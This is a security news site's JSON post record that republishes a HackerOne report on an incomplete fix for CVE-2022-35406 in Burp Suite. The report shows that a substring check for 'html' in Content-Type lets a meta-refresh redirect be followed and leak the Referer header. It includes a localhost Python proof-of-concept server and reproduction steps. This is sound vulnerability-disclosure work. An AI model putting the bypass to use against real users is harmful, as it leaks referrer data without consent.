{"id":59212,"date":"2026-06-02T10:37:59","date_gmt":"2026-06-02T10:37:59","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=59212"},"modified":"2026-06-02T10:37:59","modified_gmt":"2026-06-02T10:37:59","slug":"portswigger-web-security-incomplete-fix-for-cve-2022-35406-meta-redirect-content-type-check-bypassab","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=59212","title":{"rendered":"PortSwigger Web Security: Incomplete fix for CVE-2022-35406: meta-redirect content-type check bypassable via parameter injection_H1:3775183"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-02T15:30:57&#8243;,&#8221;description&#8221;:&#8221;The fix for CVE-2022-35406 (#1541301) stops Burp from following a \\u003cmeta http-equiv=\\&#8221;refresh\\&#8221;\\u003e redirect when the response Content-Type\/Content-Disposition would prevent HTML rendering. The check substring-matches html in the raw Content-Type instead of parsing the media type. A text\/plain response can smuggle the token via a parameter (e.g. Content-Type: text\/plain; x=html), and Burp again offers and follows the meta redirect  reintroducing the patched behaviour.\\n\\n## Root cause\\nThe content-type guard searches for the substring html in the raw header value rather than parsing the media type and discarding parameters. Any html token   in a parameter name, value, quoted or not  satisfies the check while the real MIME type stays text\/plain.\\n\\n### Steps to reproduce\\n1. server.py\\n&#8220;`\\n#!\/usr\/bin\/env python3\\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\\n\\nMETA = (&#8216;\\u003chtml\\u003e\\u003chead\\u003e\\u003cmeta http-equiv=\\&#8221;refresh\\&#8221; &#8216;\\n        &#8216;content=\\&#8221;0;url=http:\/\/127.0.0.1:9000\/stolen\\&#8221;\\u003e\\u003c\/head\\u003e\\u003cbody\\u003ex\\u003c\/body\\u003e\\u003c\/html\\u003e&#8217;)\\n\\nCASES = {\\n    \\&#8221;\/ct_plain\\&#8221;:       \\&#8221;text\/plain\\&#8221;,                 # control: blocked\\n    \\&#8221;\/ct_param_plain\\&#8221;: \\&#8221;text\/plain; x=hello\\&#8221;,        # control: blocked (no &#8216;html&#8217;)\\n    \\&#8221;\/ct_param_html\\&#8221;:  \\&#8221;text\/plain; x=html\\&#8221;,         # BYPASS: followed\\n    \\&#8221;\/ct_texthtml\\&#8221;:    \\&#8221;text\/plain; x=text\/html\\&#8221;,    # BYPASS: followed\\n    \\&#8221;\/ct_quoted\\&#8221;:      &#8216;text\/plain; x=\\&#8221;text\/html\\&#8221;&#8216;,  # BYPASS: followed\\n}\\n\\nclass H(BaseHTTPRequestHandler):\\n    protocol_version = \\&#8221;HTTP\/1.1\\&#8221;\\n    def log_message(self, *a): pass\\n    def do_GET(self):\\n        ct = CASES.get(self.path)\\n        if ct is None:\\n            self.send_response(404); self.send_header(\\&#8221;Content-Length\\&#8221;,\\&#8221;0\\&#8221;)\\n            self.send_header(\\&#8221;Connection\\&#8221;,\\&#8221;close\\&#8221;); self.end_headers(); return\\n        b = META.encode()\\n        self.send_response(200)\\n        self.send_header(\\&#8221;Content-Type\\&#8221;, ct)\\n        self.send_header(\\&#8221;Content-Length\\&#8221;, str(len(b)))\\n        self.send_header(\\&#8221;Connection\\&#8221;, \\&#8221;close\\&#8221;)\\n        self.end_headers()\\n        try: self.wfile.write(b)\\n        except BrokenPipeError: pass\\n        self.close_connection = True\\n\\nif __name__ == \\&#8221;__main__\\&#8221;:\\n    print(\\&#8221;PoC server on http:\/\/127.0.0.1:8000\\&#8221;)\\n    HTTPServer((\\&#8221;127.0.0.1\\&#8221;, 8000), H).serve_forever()\\n\\n&#8220;`\\n2. Run\\n\\n&#8220; python3 server.py &#8220;\\n\\n3. In  Repeater (HTTP\/1), send this request:\\n\\n&#8220;`\\nGET \/ct_param_html HTTP\/1.1\\nHost: 127.0.0.1:8000\\nReferer: http:\/\/127.0.0.1:8000\/secret-page\\nConnection: close\\n&#8220;`\\n\\n4. The response is Content-Type: text\/plain (with a bogus ; x=html parameter) containing a \\u003cmeta http-equiv=\\&#8221;refresh\\&#8221;\\u003e redirect. Despite the non-renderable text\/plain type, the Follow redirection button appears.\\n5. Click Follow redirection \u2192 Burp follows the meta redirect and issues the request to the redirect target, sending the Referer header.\\n6. (Control) Repeat with GET \/ct_param_plain (text\/plain; x=hello, no html token) \u2192 no Follow redirection button, not followed. This confirms the html substring is what triggers the bypass.\\n\\nClick Follow redirection:\\n\\n\\nPOC\\n{F6021058}\\n\\nIt  discloses  the referer header\\n\\n## Impact\\n\\nA text\/plain response that should be treated as non-renderable is again interpreted as a redirect in Repeater\/Intruder, re-enabling the meta-redirect follow that CVE-2022-35406 patched.&#8221;,&#8221;published&#8221;:&#8221;2026-06-01T17:41:12&#8243;,&#8221;modified&#8221;:&#8221;2026-06-02T15:02:57&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;PortSwigger Web Security: Incomplete fix for CVE-2022-35406: meta-redirect content-type check bypassable via parameter injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3775183&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2022-35406&#8243;],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:4.3,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:R\/S:U\/C:N\/I:L\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3775183&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-02T15:30:57&#8243;,&#8221;description&#8221;:&#8221;The fix for CVE-2022-35406 (#1541301) stops Burp from following a \\u003cmeta http-equiv=\\&#8221;refresh\\&#8221;\\u003e redirect when the response Content-Type\/Content-Disposition would prevent HTML rendering. The check substring-matches html&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,123,12,117,21,13,7,11,5],"class_list":["post-59212","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-cvss-43","tag-exploit","tag-hackerone","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>PortSwigger Web Security: Incomplete fix for CVE-2022-35406: meta-redirect content-type check bypassable via parameter injection_H1:3775183 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=59212\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"PortSwigger Web Security: Incomplete fix for CVE-2022-35406: meta-redirect content-type check bypassable via parameter injection_H1:3775183 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-02T15:30:57&#8243;,&#8221;description&#8221;:&#8221;The fix for CVE-2022-35406 (#1541301) stops Burp from following a u003cmeta http-equiv=&#8221;refresh&#8221;u003e redirect when the response Content-Type\/Content-Disposition would prevent HTML rendering. The check substring-matches html...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=59212\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-02T10:37:59+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59212#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59212\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"PortSwigger Web Security: Incomplete fix for CVE-2022-35406: meta-redirect content-type check bypassable via parameter injection_H1:3775183\",\"datePublished\":\"2026-06-02T10:37:59+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59212\"},\"wordCount\":640,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-4.3\",\"exploit\",\"hackerone\",\"MEDIUM\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=59212#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59212\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59212\",\"name\":\"PortSwigger Web Security: Incomplete fix for CVE-2022-35406: meta-redirect content-type check bypassable via parameter injection_H1:3775183 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-02T10:37:59+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59212#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=59212\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59212#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"PortSwigger Web Security: Incomplete fix for CVE-2022-35406: meta-redirect content-type check bypassable via parameter injection_H1:3775183\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"PortSwigger Web Security: Incomplete fix for CVE-2022-35406: meta-redirect content-type check bypassable via parameter injection_H1:3775183 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=59212","og_locale":"en_US","og_type":"article","og_title":"PortSwigger Web Security: Incomplete fix for CVE-2022-35406: meta-redirect content-type check bypassable via parameter injection_H1:3775183 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-02T15:30:57&#8243;,&#8221;description&#8221;:&#8221;The fix for CVE-2022-35406 (#1541301) stops Burp from following a u003cmeta http-equiv=&#8221;refresh&#8221;u003e redirect when the response Content-Type\/Content-Disposition would prevent HTML rendering. The check substring-matches html...","og_url":"https:\/\/zero.redgem.net\/?p=59212","og_site_name":"zero redgem","article_published_time":"2026-06-02T10:37:59+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=59212#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=59212"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"PortSwigger Web Security: Incomplete fix for CVE-2022-35406: meta-redirect content-type check bypassable via parameter injection_H1:3775183","datePublished":"2026-06-02T10:37:59+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=59212"},"wordCount":640,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-4.3","exploit","hackerone","MEDIUM","news","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=59212#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=59212","url":"https:\/\/zero.redgem.net\/?p=59212","name":"PortSwigger Web Security: Incomplete fix for CVE-2022-35406: meta-redirect content-type check bypassable via parameter injection_H1:3775183 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-02T10:37:59+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=59212#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=59212"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=59212#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"PortSwigger Web Security: Incomplete fix for CVE-2022-35406: meta-redirect content-type check bypassable via parameter injection_H1:3775183"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/59212","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=59212"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/59212\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=59212"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=59212"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=59212"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}